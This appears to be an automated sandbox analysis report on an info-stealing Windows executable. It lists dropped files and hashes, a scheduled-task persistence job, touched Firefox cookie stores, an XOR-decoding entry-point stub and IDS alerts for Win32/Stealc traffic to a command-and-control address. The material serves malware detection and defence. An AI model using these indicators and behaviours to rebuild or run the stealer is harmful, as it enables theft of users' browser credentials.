Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2514944
Entropy (8bit):	7.988507556156134
Encrypted:	false
SSDEEP:	49152:xe/sgWc1/Ae5JRanw2xCrrkOzWmwwtxVqsSZL6+QbGpNwOxlZ2cRDvZQDEJ7Yr6Q:E/sgdIe5J72sk4wwPIgk++72cpn9Y
MD5:	58972B34CE77F8D7BBAA3F5B5344DB20
SHA1:	A3DC18DBE5ABB0FFFE62427366FF5F52E16A28A7
SHA-256:	048802231ECCEE2A6DB341D1A4E92B2B1671EB287DA215AD35FCF2BAD70FA700
SHA-512:	4539E1723D3595FAA2D53488623D33CD94D06ECE1503E9359DABAA7FB6184CC63717F5D8D25ADA897603EE40381AB881789B793776FAB97B8F8C619CD2DA133E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!.....@f............@.......................................@... .. .... .. .......... ...................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....0"..P...,"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2514944
Entropy (8bit):	7.988507556156134
Encrypted:	false
SSDEEP:	49152:xe/sgWc1/Ae5JRanw2xCrrkOzWmwwtxVqsSZL6+QbGpNwOxlZ2cRDvZQDEJ7Yr6Q:E/sgdIe5J72sk4wwPIgk++72cpn9Y
MD5:	58972B34CE77F8D7BBAA3F5B5344DB20
SHA1:	A3DC18DBE5ABB0FFFE62427366FF5F52E16A28A7
SHA-256:	048802231ECCEE2A6DB341D1A4E92B2B1671EB287DA215AD35FCF2BAD70FA700
SHA-512:	4539E1723D3595FAA2D53488623D33CD94D06ECE1503E9359DABAA7FB6184CC63717F5D8D25ADA897603EE40381AB881789B793776FAB97B8F8C619CD2DA133E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!.....@f............@.......................................@... .. .... .. .......... ...................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....0"..P...,"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1907200
Entropy (8bit):	7.951311548604393
Encrypted:	false
SSDEEP:	49152:r99RrvECymQR8ZMPwOO+Mi9BvdWOG2UvgCJF:Z7M9dR8ZMPwOOH+BW5NJF
MD5:	742979A5B57DC70750A54561B3E2DAE9
SHA1:	FE778AFC2BB1A013893729C6ADAC45CAAF6C0C20
SHA-256:	55891E3CD090783D396A5D09B904BCBC0F4E045FF192C3740DD08EDC7E3FDE4D
SHA-512:	1E2C0637ED25A18E40947F8B831CFE230BCE8A8AC31AA043B25B7ECE2C514FC979803CBD20300F68118038A37D53B0D372E18367B9FBDBFF1519943DF765D54B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@.......................... L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...lwthcuux......1.....................@...rgejpvgu......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1907200
Entropy (8bit):	7.951311548604393
Encrypted:	false
SSDEEP:	49152:r99RrvECymQR8ZMPwOO+Mi9BvdWOG2UvgCJF:Z7M9dR8ZMPwOOH+BW5NJF
MD5:	742979A5B57DC70750A54561B3E2DAE9
SHA1:	FE778AFC2BB1A013893729C6ADAC45CAAF6C0C20
SHA-256:	55891E3CD090783D396A5D09B904BCBC0F4E045FF192C3740DD08EDC7E3FDE4D
SHA-512:	1E2C0637ED25A18E40947F8B831CFE230BCE8A8AC31AA043B25B7ECE2C514FC979803CBD20300F68118038A37D53B0D372E18367B9FBDBFF1519943DF765D54B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@.......................... L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...lwthcuux......1.....................@...rgejpvgu......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.42455651952529
Encrypted:	false
SSDEEP:	6:/UUn/VXUG5ZsUEZ+lX1QYShMl6lm6tFXqYEp5t/uy0l1sLlEt0:ln/RYQ13vgxfXV1sSt0
MD5:	2B184E1CE529F1244D6AA1B9BA7750C8
SHA1:	D995C8F5ABD64BB409D60BF80F92F5DB29524ABF
SHA-256:	35E1DDFD95C733A4BC95D91F20B980042430B088B651FB31D343C6DBBC42CD3F
SHA-512:	AAB5600C212A15B1857DAAF93FB2FC198858C2B409A94BF12BA9CA88BCC4754E3A1549A96B6788D22B0FC11780C0728A6228A8E5B228B3682B9A69DB69132A37
Malicious:	false
Preview:	....a..*1.$C.D.I..ScF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.418971527236562
Encrypted:	false
SSDEEP:	6144:2Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:VvloTMW+EZMM6DFyn03w
MD5:	400D54076C800CB8B5C4423E81C242ED
SHA1:	D09B36FB62BE40B0BF8DDFAA6D9AAA26586A2DEB
SHA-256:	6C55AE8CF7B5BDAFE4549178B6CEE429B85A6E2B585E511793FC353DFA4FD333
SHA-512:	7A29177D3573AF1834B026E165CC7D5D5D918F012022C45710D091068353BF080F6FA8DEA24D8A3E6E8C8A5CDAB2CB243F4826A5CD82A097EDBA428BBB24DBED
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...A%..................................................................................................................................................................................................................................................................................................................................................u........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.988507556156134
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Wf9qnVcbi8.exe
File size:	2'514'944 bytes
MD5:	58972b34ce77f8d7bbaa3f5b5344db20
SHA1:	a3dc18dbe5abb0fffe62427366ff5f52e16a28a7
SHA256:	048802231eccee2a6db341d1a4e92b2b1671eb287da215ad35fcf2bad70fa700
SHA512:	4539e1723d3595faa2d53488623d33cd94d06ece1503e9359dabaa7fb6184cc63717f5d8d25ada897603ee40381ab881789b793776fab97b8f8c619cd2da133e
SSDEEP:	49152:xe/sgWc1/Ae5JRanw2xCrrkOzWmwwtxVqsSZL6+QbGpNwOxlZ2cRDvZQDEJ7Yr6Q:E/sgdIe5J72sk4wwPIgk++72cpn9Y
TLSH:	26C533FF729663DEFC1CB471DF40579B6C4AB2A8B4A39E17E4D9408232243919E61837
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xff6640
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x668341F6 [Mon Jul 1 23:55:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007FC9F4EAF24Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF6640h
jmp 00007FC9F4EAF249h
xlatb
pushfd
int3
pop ds
mov eax, 00BF6640h
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005CAh
mov edx, DCBD951Dh
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007FC9F4EAF23Ch
jmp 00007FC9F4EAF249h
and eax, 96DB836Dh
rcl byte ptr [esi+1D1D2194h], 1
sbb eax, 1DE5DC9Ch
sbb eax, A5D01E1Dh
sbb dword ptr [35A71D1Dh], ebx
sbb eax, FFEA1D1Dh
push ds
aad 96h
pushfd
adc dword ptr [D81E1D1Dh], ebx
dec ebp
nop
jns 00007FC9F4EAF27Bh
loope 00007FC9F4EAF1D6h
sbb dword ptr [ecx], edi
jne 00007FC9F4EAF207h
scasb
cmp al, 1Dh
jne 00007FC9F4EAF2BDh
scasd
sbb byte ptr [7539311Ch], FFFFFFD0h
jc 00007FC9F4EAF20Dh
xchg eax, ebp
cmc
sbb byte ptr [33F41D1Dh], bl
sbb eax, 79901D1Dh
cmp ecx, esp
xchg eax, esp
xor dword ptr [ecx], edi
xchg eax, esi
int1
xchg eax, esi
cwde
adc eax, 961D1D1Dh
mov byte ptr [ecx], dl
sbb eax, 90961D1Dh
or eax, DC1D1D1Dh
hlt
pop ds
sub al, 1Fh
sahf
fistp word ptr [ecx]
push esp
adc bl, byte ptr [eax-1D1D1D17h]
inc eax
fist word ptr [ecx]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9d8020	0xc9b	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d8cbc	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9d8000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	3fdf7856dbd9b2c85122674dad0419d8	False	0.9996903582317073	data	7.995078111537249	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	4614e8f76e15a08684f26d1e2ff28713	False	0.99505615234375	data	7.98138192860846	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	064d5f3480230acd7d5717c458ab081b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	0ad73073aadc0d5e6b46da5aaf47e378	False	0.990234375	data	7.951394948256141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x799000	0x32800	772b5336ddaa245d9eb02c510e36dee7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9d5000	0x223000	0x222c00	2f71ab9f9d42e58f8fe3ed16fdcbc813	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-04:11:57.568635	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49704	85.28.47.4	192.168.2.5
07/02/24-04:11:56.714248	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	85.28.47.4
07/02/24-04:11:57.569767	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	85.28.47.4
07/02/24-04:11:57.749789	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49704	85.28.47.4	192.168.2.5
07/02/24-04:11:57.389201	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 04:11:56.701838970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:56.713985920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:56.714090109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:56.714247942 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:56.718962908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.386518955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.386617899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.389200926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.393980026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.568634987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.568672895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.568814993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.568814993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.569766998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.574511051 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.749789000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.749816895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.749836922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.749846935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.749866009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.749902964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.754477978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.754528046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.783845901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:57.788722038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.962476969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:57.962584972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:58.054979086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:58.054979086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:58.055038929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:58.059971094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.059993982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.060008049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.060020924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.060081959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.060113907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.854513884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:58.854593992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.089906931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.094798088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.266977072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.266998053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267019987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267066002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267154932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267159939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267190933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267198086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267201900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267219067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267239094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267255068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267756939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267774105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267816067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267816067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267837048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267853022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267853975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.267868996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.267908096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.268474102 CEST	80	49704	85.28.47.4	192.168.2.5
